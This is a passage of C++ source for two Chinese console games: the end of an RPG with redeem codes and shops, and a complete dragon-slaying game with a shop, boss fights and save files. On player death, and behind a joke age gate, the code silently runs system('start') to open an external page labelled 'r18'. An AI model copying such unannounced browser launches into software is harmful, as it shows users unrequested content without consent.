				int choose_8;
				cin >> choose_8;
				if(choose_8 == 10086) {
					system("cls");
					show("兑换成功!!!");
					show("金钱大礼包!!!");
					M += 1008600;
					system("cls");
				}else if(choose_8 == 4212) {
					system("cls");
					show("兑换成功!!!");
					show("作者的力量!!!");
					AT = 114514;
					DF = 114514;
					system("cls");
				}else if(choose_8 == 50210) {
					system("cls");
					show("兑换成功!!!");
					show("成为毁灭者!!!");
					AT = 99999999;
					DF = 1;
					system("cls");
				}else {
					system("cls");
					show("失败!扣3000!");
					M -= 3000;
					system("cls");
				}
			}else if(choose1 == 9) {
				system("cls");
				for(int i = 1;i <= 4;i++) {
					cout << i << "." << jineng[i] << "     " << (JN[jineng[i]] == true?"已获得":"未获得") << endl;
					sleep(1);
				}
				show("1.看技能   2.买技能");
				int choose13;
				cin >> choose13;
				if(choose13 == 1) {
					system("cls");
					for(int i = 1;i <= 4;i++) cout << i << "." << jineng[i] << " " << JJ[i] << endl;
					sleep(5);
				}else if(choose13 == 2) {
					show("买啥?");
					int choose32;
					cin >> choose32;
					cout << price[choose32] << endl;
					show("买吗?");
					show("买选1,不买选2");
					int choose23;
					cin >> choose23;
					if(choose23 == 1) {
						if(M < price[choose32]) show("没钱买个pi啊!");
						else {
							M -= price[choose32];
							JN[jineng[choose32]] = true;
						}
					}
				}
				system("cls");
			}else if(choose1 == 10) {
				system("cls");
				show("黑市老板:只要你有钱,啥都可以买!");
				show("注意:买到的立即使用!");
				cout << "------------------------" << endl;
				int GJS = rand() % 3000;
				cout << "1攻击书:" << GJS << endl;
				int FYS = rand() % 3000;
				cout << "2防御书:" << FYS << endl;
				int Pc = rand() % 5;
				int pC = rand() % 1000000;
				cout << "3随机电脑:" << pC << endl;
				cout << "------------------------" << endl;
				show("老板:买啥");
				int Buy;
				cin >> Buy;
				if(Buy == 1) {
					if(M < GJS) {
						show("没钱买个pi啊!");
						system("cls");
						continue;
					}else {
						show("已购买。");
						AT += 15;
						M -= GJS;
						system("cls");
						continue;
					}
				}
				if(Buy == 2) {
					if(M < FYS) {
						show("没钱买个pi啊!");
						system("cls");
						continue;
					}else {
						show("已购买。");
						DF += 15;
						M -= FYS;
						system("cls");
						continue;
					}
				}
				if(Buy == 3) {
					cout << "抽奖中";
					for(int i = 1;i <= 6;i++) {
						sleep(1);
						cout << ".";
					}
					system("cls");
					cout << "你抽到了";
					if(Pc == 1) cout << "老古董";
					if(Pc == 2) cout << "1代";
					if(Pc == 3) cout << "2代";
					if(Pc == 4) cout << "3代";
					if(Pc == 5) cout << "5代";
					system("cls");
					if(M < pC) {
						show("没钱买个pi啊!");
						system("cls");
						continue;
					}else {
						show("已购买。");
						M -= pC;
						if(Pc == 1) PC = "老古董";
						if(Pc == 2) PC = "1代";
						if(Pc == 3) PC = "2代";
						if(Pc == 4) PC = "3代";
						if(Pc == 5) PC = "超级计算机";
						system("cls");
						continue;
					}

				}

			}
		}
		show("你攒足了钱,买了99999.........9本攻击书,99999..........9本防御书和一台HP是114514541883141596的超级电脑");
		system("cls");
		show("最终之战!");
		show("***:哼,你小子,失忆了还敢来!");
		show(" *** 使用了电脑报废之术!");
		show("你的电脑报废了");
		sleep(5);
		show("不!你不应该就这样倒下!");
		show(" qianch**g 让你复活了!");
		show(" 你 使用了无限关机+取消关机!");
		show("***的电脑被弄报废了!");
		system("cls");
		show("你胜利了!");
	}
}
signed main() {
	begin();
	test();
	return 0;
}

屠龙者

C++
#include<windows.h>

#include <sstream>

#include <string.h>

#include <time.h>

#include <windows.h>

#include <Wininet.h>

#include <tchar.h>

#include "conio.h"

#include <iostream>

#include <Winbase.h>

#pragma comment(lib,"WinMM.Lib")

using namespace std;

string ddx[] = {"屠夫","步兵","元帅","刺客","剑客","幻剑使者","判决剑影","飞天剑仙","混元剑魔","九护剑圣","无双剑帝"};

string ddd[] = {"","浴火重生","李代桃僵","决一死战","剑影穿梭","蓄势一击"};

int sum = 1;
int hhhj=0;
int xx = 0;
int fff1= 3, ggg1 = 3;
int fff2=3,ggg2=3;
bool flag=0,gg=0, flag1 = 0;

		int xm=10000, xd=10000;
int coins=0;
int bv=100;
int harm =15;
int getcoins =25;
int Lucky_value =0;

void slowsay(string a){
	int l=a.size();
	for(int i=0;i<l;i++){
		cout<<a[i];
		Sleep(20);
	}
	printf("\n");Sleep(40);
}
void gyu(int gi,int vkk){

	system("cls");
	cout<<"你用了"<<ddd[gi]<<endl;
	cout<<"BOSS用了"<<ddd[vkk]<<endl;
	Sleep (3000);
	return;
}
void bo1(){
	flag1=1;
}
void bo2(){


}
void bo(){
	slowsay("1、创建新的存档\n");
		slowsay("2、读入存档\n");
		char fd=getch();
		if(fd=='2'){
			bo2();
		}else{
			bo1();
		}
	}

void start()
{

	cout<<endl<<endl<<endl<<endl;
	slowsay("请将存档文件放置在与本程序同一个文件夹中\n");
	Sleep(2000);
	freopen("HP.txt","r",stdin);
	slowsay("正在读取,请稍后...\n");
	cin >> sum >> xx >> fff1 >> ggg1 >> fff2 >> ggg2 >> coins >> bv >> harm >> getcoins >> Lucky_value;
	Sleep(2000);
	freopen("CON","r",stdin);
	slowsay("读入成功!\n");
	 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),12);
	 slowsay("____________________N O W ________________________\n");
	 system("cls");
	 slowsay("____________________  3  _________________________\n");
	 system("cls");
	 slowsay("____________________  2  _________________________\n");

	 system("cls");
	 slowsay("____________________  1  _________________________\n");
	 system("cls");
	 slowsay("____________________  艹  _________________________\n");
	 system("cls");
    l1:system("cls");

	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),7);
    if(xx%10==0&&xx!=0){
    	cout<<endl<<endl<<endl;
			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),12);
    	slowsay("____________________BOSS___________________________");

			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),10);
    	Sleep(1000);
        xd=xx*1000;
        xm=xd/2;
        l2:system("cls");
        cout<<endl<<"你还有" <<xm<<"点血量" ;
        cout<<endl<<"巨龙还有" <<xd<<"点血量" <<endl;
    	slowsay("1:浴火重生    生命值+400");
		slowsay("2:李代桃僵    对方若是攻击反弹,反之自己扣1000点");
		slowsay("3:决一死战    随机扣2000血");
		slowsay("4:剑影穿梭    攻击1000点,但是对方攻击(反弹)乘2");
		slowsay("5:蓄势一击    600点攻击");

		if(xm<=0){
			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),8);
		    slowsay("很遗憾,你死了");

			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),7);
		    Sleep(2000);
		    xx--;
		    goto l1;
	    }
	    if(xd<=0){

			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),5);
	    	slowsay("恭喜你成为【屠龙者】………………");

			SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),7);
			Sleep(2000);
			xx++;
			system("cls");
			coins+=300;
			goto l1;
        }
    	srand(time(NULL));
        int x = 1+rand() % 5;
    	int w =rand()%2;
    	int ee=rand()%2;
		char df=getch();
    	if(df=='1'){
    		xm+=400;
    		if(x==1){
    			xd+=400;
			}
    		if(x==2){
    			xd-=400;
			}
    		if(x==3){
    			if(w)xd-=2000;
    			else xm-=2000;
			}
    		if(x==4){
    			xm-=1000;
			}
    		if(x==5){
    			xm-=600;
			}
		}
		if(df=='2'){
			if(x==4){
				xd-=2000;
			}
			else if(x==5){
				xd-=1200;
			}
			else if(x==3&&!w){
				xd-=4000;
			}
			else{
				xm-=1000;
				if(x==1)xd+=400;
				if(x==2)xd-=1000;
			}
		}
		if(df=='3'){
			if(x!=2){
    		    if(ee)xd-=2000;
    		    else xm-=2000;
    		    if(x==1){
    		    	xd+=400;
				}
    		    if(x==3){
    		    	if(w)xd-=2000;
    		    	else xm-=2000;
				}
    		    if(x==5){
    		    	xm-=600;
				}
    		    if(x==4){
    		    	xm-=1000;
				}
			}
		    if(x==2){
		    	xm-=2000;
		    	if(!ee)xd-=1000;
			}
		}
		if(df=='4'){
			xd-=1000;
    		if(x==1){
    			xd+=400;
			}
    		if(x==2){
    			xm-=2000;
    			xd+=1000;
			}
    		if(x==3){
    			if(w)xd-=1000;
    			else xm-=2000;
			}
    		if(x==4){
    			xd-=1000;
    			xm-=2000;
			}
    		if(x==5){
    			xm-=600;
			}
		}
		if(df=='5'){
		    xd-=600;
    		if(x==1){
    		    xd+=400;
			}
    		if(x==2){
    			xd+=600;
    			xm-=600;
			}
    		if(x==3){
    			if(w)xd-=2000;
    			else xm-=2000;
			}
    		if(x==4){
    			xm-=1000;
    			xd-=600;
			}
    		if(x==5){
    			xm-=600;
			}
		}
	    Sleep(1000);
	    gyu((int)(df-'0'),x);

    	goto l2;
		return;
	}
	slowsay("别乱按Enter\n");
    cout<<endl<<endl;
    cout<<"level "<<xx<<endl<<endl;
    cout << "你现在有" << coins << "个金币和"<<bv<<"格血,你要干什么?" << endl;
    cout <<"(每"<<100+50*xx<<"金币可以更强!!!金币更多!!!)"<<endl;
    slowsay( "1.打怪");
    slowsay("2.去商店");
    slowsay("3.退出游戏并存档");
    slowsay("4.问题反馈");
    if(coins>=100+xx*50) cout<<"5.变得更强!" <<endl;
    char a = getch();
    if (a == '1')
    {
        int t,m;
        t = ((rand()) % harm);
        m = ((rand()) % getcoins);
        m*=xx+1;
        cout << "你掉了" << t << "格血,收获了" << m << "个金币";
        bv -= t;
        if(bv<=0){
          flag=1;
          return;
        }
        coins += m;
        Sleep(1000);
        goto l1;
    }
    if (a == '2')
    {
        cout << "你到达了商店,你要买:" << endl;
        cout << "1.治疗药水 5金币" << endl;
        cout << "2.力量药水(在打怪时减少掉血) 100金币" << endl;
        cout << "3.金币祝福(在打怪时获得更多的金币) 200金币" << endl;
        cout << "4.幸运方块(随机添加金币值) 40金币" << endl;
        char b = getch();
        if (b == '1')
        {
            if (coins < 5)
            {
                cout << "金币不足" << endl;
                Sleep(1000);
                goto l1;
            }
            if(bv+5>120){
			cout<<"对不起,生命值已达上限!"<<endl<<"换一个吧!" ;
            Sleep(1000);
			goto l1;
			}
            cout << "已使用,增加了5格血";
            coins -= 5;
            bv += 5;
            Sleep(1000);
            goto l1;
        }
        if (b == '2')
        {
            if (coins < 100)
            {
                cout << "金币不足" << endl;
                Sleep(1000);
                goto l1;
            }
            cout << "已使用";
            coins -= 100;
            harm--;
            Sleep(1000);
            goto l1;
        }
        if (b == '3')
        {
            if (coins < 200)
            {
                cout << "金币不足" << endl;
                Sleep(1000);
                goto l1;
            }
            cout << "已使用";
            coins -= 200;
            getcoins+=2;
            Sleep(1000);
            goto l1;
        }
        if (b == '4')
        {
            if (coins < 40)
            {
                cout << "金币不足" << endl;
                Sleep(1000);
                goto l1;
            }
            int cnt=rand()%100;
            cout << "已获得,增加了"<<cnt<<"个金币"<<endl;
            coins -= 40;
            coins += cnt;
            Sleep(1000);
            goto l1;
        }
        cout << "无效输入" << endl;
        Sleep(1000);
        goto l1;
    }
    if (a == '3'){


	slowsay("导出存档向导\n\n");
	slowsay("导出的存档会生成在一个名为“HP.txt”中\n");
	slowsay("导出位置在与本游戏同一个文件夹中\n");
	Sleep(3000);
	system("cls");
	slowsay("开始导出...\n");
	freopen("HP.txt","w",stdout);
	cout << sum << endl << xx << endl << fff1 << endl << ggg1 << endl << fff2 << endl << ggg2 << endl << coins << endl << bv << endl << harm << endl << getcoins << endl << Lucky_value << endl;
	Sleep(5000);
	freopen("CON","w",stdout);
	system("cls");
	slowsay("导出成功!\n");
	    return;
	}
    if (a == '4')
    {
        system("start https://www.luogu.com.cn/chat?uid=668800");
        goto l1;
    }
    if(a=='5'&&coins>50+50*xx){
    	cout<<"!!!!!stronger!!!!!"<<endl;
    	coins-=50+50*xx;
    	xx++;
    	sum*=2;
    	cout<<"恭喜你升级为  Level "<<xx;
		cout<<endl<<"你的生命上限为"<<120+30*xx<<endl;
		bv+=30;
		Sleep(1000);
	}
    if (a == '9')
    {
        cout << "开始初始化游戏" << endl;
        coins = 0;
        bv = 100;
        harm = 15;
        getcoins = 25;
        Sleep(1000);
        cout << "初始化完成" << endl;
        Sleep(1000);
        goto l1;
    }

    Sleep(1000);
    goto l1;
}
void juqing(){

	l1:system("cls");
	slowsay("      屠龙者\n");
	slowsay("制作人员:洛谷_Kimi_  洛谷sutong2009\n\n");
	cout<<"按下Enter开始游戏\n";
	getchar();
	system("cls");
	slowsay("是否跳过剧情?\n");
	slowsay("1、否\n");
	slowsay("2、是\n");
	char a=getch();
	if(a=='1'){

		SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),9);
		slowsay("游戏开始!\n");
		system("cls");
		slowsay("你叫老八,是一名生活在一个村子里\n");
		slowsay("在这世界上存在着一些巨龙\n");
		slowsay("人们惨遭它们猎杀\n");
		slowsay("最终逐渐走向衰败...\n");
		Sleep(4000);
		system("cls");
		slowsay("你热爱这片土地和人们,不希望他们灭亡\n");
		slowsay("于是你决定周游世界,打败这些巨龙\n");
		slowsay("然后写一本书,教人们打败这些巨龙\n");
		slowsay("国王也很支持你,所以送了你一个可以传送的手提箱\n");
		slowsay("现在,你踏上屠龙之旅...\n");
		Sleep(4000);
	}
	SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),7);
	start();
	system("cls");
}

void x18x1(){

	slowsay("真的吗?");
	slowsay("1.嗯,对");
	slowsay("2.算了吧");
	char charr=getch();
	if(charr=='2'){
		hhhj=1;
		system("start https://arcxingye.github.io/r18/");
	}
}
void ddffff(){

	slowsay("小孩子,要身心健康哦!\n");
	system("start https://xingye.me/game/index.php");
}

void x18x(){
	slowsay("游戏过于**,满18岁即可进入");

	slowsay("1.是,已满18岁\n");
	slowsay("2.不,还没有");
	char d=getch();
	if(d=='2'){
	    ddffff();
	    hhhj=2;
	}
    else  x18x1();
}
int main()
{

    srand(time(NULL));

    x18x();

    if(hhhj)return 0;
    slowsay("游戏加载中...")  ;
	cout<< endl << endl << endl << endl << endl << endl << endl << endl;
    int aa = rand() % 7;
    if (aa == 1) slowsay( "小提示:可以购买“金币祝福”提高金币获取速度\n");
    if (aa == 2) cout << "小提示:可以购买“力量药水”减少掉血"<<endl;
    if (aa == 3) cout << "小提示:可以购买“治疗药水”恢复血量"<<endl;
    if (aa == 4) cout << "发现bug?请联系洛谷“sutong2009”或“_Kimi_”进行反馈"<<endl;
    if (aa == 0) cout << "有建议?请联系洛谷“sutong2009”或“_Kimi_”提出建议"<<endl;
    if (aa == 5) cout << "6b6b6b73633033204e42"<<endl;
    if (aa == 6) cout << "https://www.sojson.com/hexadecimal.html"<<endl;
    Sleep(3000);
	juqing();
    if(flag){
        system("cls");
        slowsay("你死啦,再来一遍!!!!\n");
        Sleep(4500);
        system("start https://arcxingye.github.io/r18/");
      return 0;
     }
     if(flag1){
     	return 0;
	 }
    cout << "正在保存";
    std::wstringstream ss;
    std::wstringstream kk;
    std::wstringstream bb;
    std::wstringstream cc;
}